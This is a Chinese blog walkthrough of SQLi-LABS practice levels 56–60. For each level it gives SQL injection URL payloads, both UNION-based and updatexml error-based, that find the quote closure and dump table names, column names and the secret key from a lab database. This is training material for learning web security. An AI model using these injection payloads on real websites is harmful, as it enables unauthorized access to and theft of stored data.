当前位置: 首页 > article >正文

SQLi-LABS靶场56-60通过攻略

less-56

1.判断注入点

?id=1' 页面不正常

2.判断闭合方式

?id=1') --+ 可以闭合成功

3.查看页面回显点

?id=-1')%20 union select 1,2,3--+

4.查询数据库名

?id=-1')%20 union select 1,database(),3--+

5.查询所有表

?id=-1')%20 union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3--+

6.查询表的所有字段

?id=-1')%20 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='43kcrdhm86'),3--+

7.查询payload

?id=-1')%20 union select 1,(select group_concat(secret_N2VJ) from 43kcrdhm86),3--+

提交即可

less-57

这一关同上一关一样 只是闭合方式不同 这一关的闭合方式是双引号闭合

less-58

1.判断闭合方式

单引号可以闭合成功

2.查询数据库名

使用报错注入查询

?id=1' and updatexml(1,concat(1,database()),1)--+

3.查询所有表

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+

4.查询表的所有字段

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='oku1ceqf6n')),1)--+

5.查询payload

?id=1' and updatexml(1,concat(1,(select group_concat(secret_M0T5) from oku1ceqf6n)),1)--+

提交即可

less-59

这一关同上一关一样使用报错注入 不同的是这一关是数字型注入 闭合方式为整数型

less-60

1.判断闭合方式

?id=1") --+  闭合方式为双引号加括号

2.查询数据库的所有表

因为题目中以及给了数据库 所有直接查表即可

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+

3.查询表的所有字段

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cxnzzdty'),0x7e),1)--+

4.查询payload

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_MB6W) from cxnzzdty),0x7e),1)--+’


http://www.kler.cn/a/287258.html

相关文章:

  • 2. kafka 生产者
  • 每日一练 | 包过滤防火墙的工作原理
  • 近几年新笔记本重装系统方法及一些注意事项
  • java版询价采购系统 招投标询价竞标投标系统 招投标公告系统源码
  • Spring 与 Spring MVC 与 Spring Boot三者之间的区别与联系
  • 主机型入侵检测系统(HIDS)——Elkeid在Centos7的保姆级安装部署教程
  • [Python]之深拷贝与浅拷贝
  • Flask之Hello world 详解
  • 【补-办公室】拟批语的区别
  • 重构贪心算法(二)
  • 12大常用自动化测试工具,请记得转发收藏!
  • Leetcode 3277. Maximum XOR Score Subarray Queries
  • PostgreSQL LIMIT 子句的使用与优化
  • Jenkins版本升级
  • 米家“智能中枢网关”和“智能多模网关”有什么区别?
  • 快速回顾-HTML5
  • 前端宝典二十一:前端异步编程规范手写Promise、async、await
  • 01.项目初始化
  • 解决yum不能正常使用,报错: No module named yum,如何安装python2和python3并行版本,搭建自动化环境
  • 【Python机器学习】NLP词中的数学——向量化
  • 驭势科技研究成果入选学术顶会IROS 2024
  • LuaJit分析(十)luajit自定义修改
  • 如何使用GPT画出带中文的图和表?-已解决GPT画图表出现乱码的问题
  • 优先级队列面试题详解
  • link标签的用途
  • 微软 Maia 100 酷炫登场,强势叫板英伟达!